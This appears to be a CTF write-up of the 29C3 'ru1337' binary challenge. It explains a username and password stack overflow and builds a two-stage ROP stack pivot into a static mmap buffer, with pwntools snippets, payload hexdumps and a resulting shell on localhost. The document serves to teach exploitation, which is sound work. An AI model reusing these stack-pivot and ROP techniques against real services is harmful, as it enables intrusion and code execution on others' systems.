Looking for some things to keep me busy since we didn't qual for DEFCON this year :(.
This is an exploitation challenge from the Chaos Computer Conference 29. Let's take a look.
checksec
tells us that we don't have to worry about ASLR or stack canaries.
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH ru1337
The binary does nothing and exits when run under strace
with no arguments. A quick glance into IDA shows that it is using argv[1]
as a port.
.text:08048A8E mov eax, [ebp+argv]
.text:08048A91 add eax, 4
.text:08048A94 mov eax, [eax]
.text:08048A96 mov [esp], eax ; nptr
.text:08048A99 call _atoi
.text:08048A9E movzx eax, ax
.text:08048AA1 mov [esp], eax ; hostshort
.text:08048AA4 call _htons
Connecting to the port, we see that it asks for a username and password.
$ nc localhost 12345
ID&PASSWORD 1337NESS EVALUATION
Please enter your username and password
User: user
Password: password
u r not s0 1337zz!!!
In the process of doing so, we see a few interesting calls on mmap
. If we run it under strace
just passing in a large amount of data, we see this.
mmap2(0xbadc0de, 136, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0) = 0xbadc000
send(4, "ID&PASSWORD 1337NESS EVALUATION\n"..., 79, 0) = 79
recv(4, "aaaabaaacaaadaaaeaaafaaagaaahaaa"..., 44, 0) = 44
send(4, "Password: ", 10, 0) = 10
recv(4, "laaamaaanaaaoaaapaaaqaaaraaasaaa"..., 128, 0) = 57
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x61616167} ---
Cool, we can crash already!
The routine at 80489F2
is straightforward: it calls the routine at 80487E1
, and then calls a global function pointer.
80487E1
is pretty straightforward as well, and looks exactly like what we saw in the strace
output. The crash that occurs is because the buffer we are filling is 8
bytes each for username
and password
, but more data is allowed to be read in. The only caveat is that username
must be only alpha characters ([A-Za-z]
).
void *__cdecl recvdata(int a1)
{
void *result; // eax@1
char password[8]; // [sp+24h] [bp-94h]@1
char username[8]; // [sp+A4h] [bp-14h]@1
int i; // [sp+ACh] [bp-Ch]@2
memset(username, 0, 8u);
memset(password, 0, 8u);
result = mmap((void *)0xBADC0DE, 136u, 3, 34, 0, 0);
function_pointer = (char *)result;
if ( result != (void *)-1 )
{
send(fd, "ID&PASSWORD 1337NESS EV", 0x4Fu, 0);
recv(fd, username, 0x2Cu, 0);
for ( i = 0; i <= 7 && username[i] && username[i] != '\n'; ++i )
{
if ( !((*__ctype_b_loc())[username[i]] & 0x400) )// isalpha
{
close(fd);
exit(0);
}
}
send(fd, &unk_8048CF8, 0xAu, 0);
recv(fd, password, 0x80u, 0);
strcpy(function_pointer, username);
strcpy(function_pointer + 8, password);
dup2(fd, 0);
dup2(fd, 1);
result = (void *)dup2(fd, 2);
}
return result;
}
The variable I've named function_pointer
is the one that we invoke upon returning from the routine.
So we've got two straight buffer overflows, with up to 8+0x80
bytes of data, and our data is loaded into a staticall-allocated buffer, as well as the stack. Additionally, our socket file descriptor is duplicated to stdin/stdout/stderr.
Unfortunately, this is not quite the case. Taking a look at the stack layout for the routine, we see that the password
buffer is indeed 0x80 (128) bytes long. The disassembly is misleading since only the first 8 bytes are cleared.
-00000094 password db 128 dup(?)
-00000014 username db 8 dup(?)
This seems straightforward on face value, but the isalpha
limitation on the username (first eight bytes) is annoying for shellcode.
Our username
buffer is 0x18
bytes away from the return address, and we can read 0x2c
bytes into the buffer. This gives us 5 DWORDs worth of ROP.
Also, our entire buffer (first 8 bytes of username, followed by password) are copied into a statically-addressed buffer. We may be able to pivot the stack into this buffer.
The binary has a lot of useful gadgets in it. Using Jon Salwan's ROPgadget.py
, you can easily enumerate them. In order to pivot the stack, we need to set ESP to a value we control. A common gadget sequence for this is pop ebp, ret; leave, ret
. Let's see if pwntools
can find it.
from pwn import *
r = ROP('./ru1337')
print "pop ebp: %x" % r.gadget('popebp')
print "leave: %x" % r.gadget('leave')
Great, looks like we can control EBP via a pop ebp; ret
gadget, and can then set esp
via a leave; ret
gadget. We will set ESP
to 0xBADC0DE+8
which is where the password is copied to.
Now that we have pivoted the stack, giving us much more space to work with, we can leverage the pwntools
to auto-generate a ROP chain for us to mmap
an executable buffer and copy shellcode into it.
Of course, this would work great, if our second-stage ROP was copied into the static buffer using memcpy
. Unfortunately, it uses strcpy
which makes ROP much more difficult than it would otherwise be. In particular, passing sizes and flags to mmap
or recv
becomes impossible.
A better second approach is to change the pivot mechnism. By returning to recv()
, we can read a bunch of data into the static mmap
ed buffer. By setting EBP to point into the buffer, we can also just ROP from there.
Now we have as much stack space to play with as we like, and no isalpha
or strcpy
constraints. We can use a straightforward ROP chain to mprotect() or mmap()/recv().
python exploit.py
[+] Loading ELF file `ru1337': Done
Stage 1:
00000000 61 61 61 61 |aaaa|
00000004 62 61 61 61 |baaa|
00000008 63 61 61 61 |caaa|
0000000c 64 61 61 61 |daaa|
00000010 65 61 61 61 |eaaa|
00000014 00 c8 ad 0b |....|
00000018 78 89 04 08 |x...|
0000001c 00 00 00 00 |....|
00000020 04 c8 ad 0b |....|
00000024 00 10 00 00 |....|
00000028 00 00 00 00 |....|
0000002c
Stage 2:
00000000 00 86 04 08 |....|
00000004 69 8c 04 08 |i...|
00000008 0d f0 d0 ba |....|
0000000c 00 10 00 00 |....|
00000010 07 00 00 00 |....|
00000014 22 00 00 00 |"...|
00000018 ff ff ff ff |....|
0000001c 00 00 00 00 |....|
00000020 ef be ad de |....|
*
00000034 90 86 04 08 |....|
00000038 0d f0 d0 ba |....|
0000003c 04 00 00 00 |....|
00000040 0d f0 d0 ba |....|
00000044 00 10 00 00 |....|
00000048 00 00 00 00 |....|
0000004c
[+] Opening connection to 127.0.0.1 on port 12345: Done
[+] Recieving all data: Done
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)